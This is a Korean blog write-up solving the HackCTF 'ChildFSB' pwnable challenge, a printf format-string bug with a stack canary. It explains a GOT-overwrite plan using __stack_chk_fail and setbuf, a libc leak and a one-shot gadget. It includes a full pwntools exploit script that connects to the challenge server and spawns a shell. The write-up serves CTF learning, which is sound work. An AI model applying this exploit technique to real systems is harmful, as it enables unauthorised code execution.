tmxklab

[HackCTF/Pwnable] ChildFSB 본문

War Game/HackCTF

[HackCTF/Pwnable] ChildFSB

tmxk4221 2020. 8. 15. 20:09

1. 문제

nc ctf.j0n9hyun.xyz 3037

 

1) mitigation 확인

 

2) 문제 확인

  • 입력 값을 받고 다시 출력해준다.

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init(argc, argv, envp);
  puts("hello");
  read(0, &buf, 0x19uLL);
  printf(&buf);
  return 0;
}
  • read로 buf[rbp-0x20]변수에 0x19만큼 입력을 받음
  • printf로 포맷 지정자 없이 출력해줌 → fsb취약점

 

 


2. 접근방법

 

일단 babyfsb문제와 구조가 비슷하고 카나리도 걸려있어서 stack_chk_fail@got overwrite를 하고 스택 스매싱을 일으켜 다시 main문으로 돌아오는 방식을 사용하기로 한다. 추가로 printf호출 직전 rsp기준으로 릭할 수 있는 주소 값을 찾아보자

 

1) __stack_chk_fail@got & main address 확인

  • stack_chk_fail@got : 0x601020 → 0x4005c6
  • main address : 0x40075f
  • 하위 2bytes만 변경하면 된다. → %hn

 

2) leak할 수 있는 주소 값 확인

  • __libc_start_main+240 주소 값을 릭하면 libc base주소를 구할 수 있다.

그런데 babyfsb때 처럼 입력 값을 많이 받지 않아(여기서는 0x19bytes밖에 받질 못함)한 번에 printf@got값을 변경하면 문제가 발생한다.

 

따라서, 나눠서 특정 함수의 got값을 overwrite해야 하며 나눠서 overwrite하는 동안 해당 함수를 실행시키면 안된다.

 

방법) setbuf@got overwrite

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init(argc, argv, envp);
  puts("hello");
  read(0, &buf, 0x19uLL);
  printf(&buf);
  return 0;
}
void Init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setbuf(stdin, 0LL);
}
  • main함수 루틴에 Init함수를 호출하는데 그 안에 setbuf와 setvbuf함수가 존재한다.
  • 따라서, 스택 스매싱이 일어날 때 main함수 처음으로 돌아가지 않고 Init함수 호출 이후 puts로 돌아오게 끔하며 setbuf@got overwrite를 진행한다.

 

공격 프로세스)

  • __stack_chk_fail@got에 main함수 Init()호출 이후 주소를 넣고 스택 스매싱이 발생하게 한다. 추가로 __libc_start_main+240주소를 릭한다.
  • 3번에 걸쳐 setbuf@got에 원샷 가젯을 넣는다.
  • __stack_chk_fail@got에 Init()내부 setbuf()를 호출하는 주소를 넣고 스택 스매싱을 일으킨다.

 


3. 풀이

 

1) 원샷 가젯

  • oneshot addr : 0x45216

 

2) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./childfsb")
p = remote("ctf.j0n9hyun.xyz", 3037)
e = ELF("./childfsb")
libc = ELF("/home/cmc/Desktop/lib_hack/childfsb/libc.so.6")
#gdb.attach(p, """b*0x4007ac""")

main_addr = e.symbols['main']
stackfail_got = e.got['__stack_chk_fail']
setbuf_got = e.got['setbuf']
init_setbuf = 0x400757 & 0xffff

start_main_offset = libc.symbols['__libc_start_main']
main_low = main_addr & 0xffff
main_low += 0x21
oneshot_offset = 0x45216

log.info("main addr                : "+hex(main_addr))
log.info("__stack_chk_fail got     : "+hex(stackfail_got))
log.info("__libc_start_main offset : "+hex(start_main_offset))


# 1. Input __stack_chk_fail@got -> main_addr
# libc_start_main+240 leak
payload = "%{}c".format(main_low)
payload += "%8$hn"
payload += "%11$p"
payload += p64(stackfail_got)
payload += "A"*(0x19-len(payload))

p.sendafter("hello\n", payload)

p.recvuntil("0x")
start_main = int(p.recv(12), 16)
start_main -= 240

libc_base = start_main - start_main_offset
oneshot_addr = libc_base + oneshot_offset
oneshot_low = oneshot_addr & 0xffff
oneshot_mid = (oneshot_addr >> 16 ) & 0xffff
oneshot_high = (oneshot_addr >> 32) & 0xffff

log.info("start_main addr   : "+hex(start_main))
log.info("libc_base addr    : "+hex(libc_base))
log.info("oneshot addr      : "+hex(oneshot_addr))
log.info("oneshot_low addr  : "+hex(oneshot_low))
log.info("oneshot_mid addr  : "+hex(oneshot_mid))
log.info("oneshot_high addr : "+hex(oneshot_high))


# 2. Input setbuf@got -> oneshot gadget addr 
# 2.1 oneshot low addr
payload = "%{}c".format(oneshot_low)
payload += "%9$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(setbuf_got)
payload += "A"*(0x19-len(payload))

p.sendafter("hello\n", payload)

# 2.2 oneshot mid addr
payload = "%{}c".format(oneshot_mid)
payload += "%10$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(setbuf_got+2)
payload += "A"*(0x19-len(payload))

p.sendafter("hello\n", payload)

# 2.3 oneshot high addr
payload = "%{}c".format(oneshot_high)
payload += "%11$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(setbuf_got+4)
payload += "A"*(0x19-len(payload))

p.sendafter("hello\n", payload)

# 3. Input stackfail@got -> init() - call setbuf
payload = "%{}c".format(init_setbuf)
payload += "%12$hn"
payload += "A"*(8-len(payload)%8)
payload += p64(stackfail_got)
payload += "A"*(0x19-len(payload))

p.sendafter("hello\n", payload)

p.interactive()

 

3) 실행 결과

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] AdultFSB  (0) 2020.08.20
[HackCTF/Pwnable] Unexploitable #4  (0) 2020.08.15
[HackCTF/Pwnable] wishilist  (0) 2020.08.15
[HackCTF/Pwnable] Unexploitable #3  (0) 2020.08.15
[HackCTF/Pwnable] ChildHeap  (0) 2020.08.15
Comments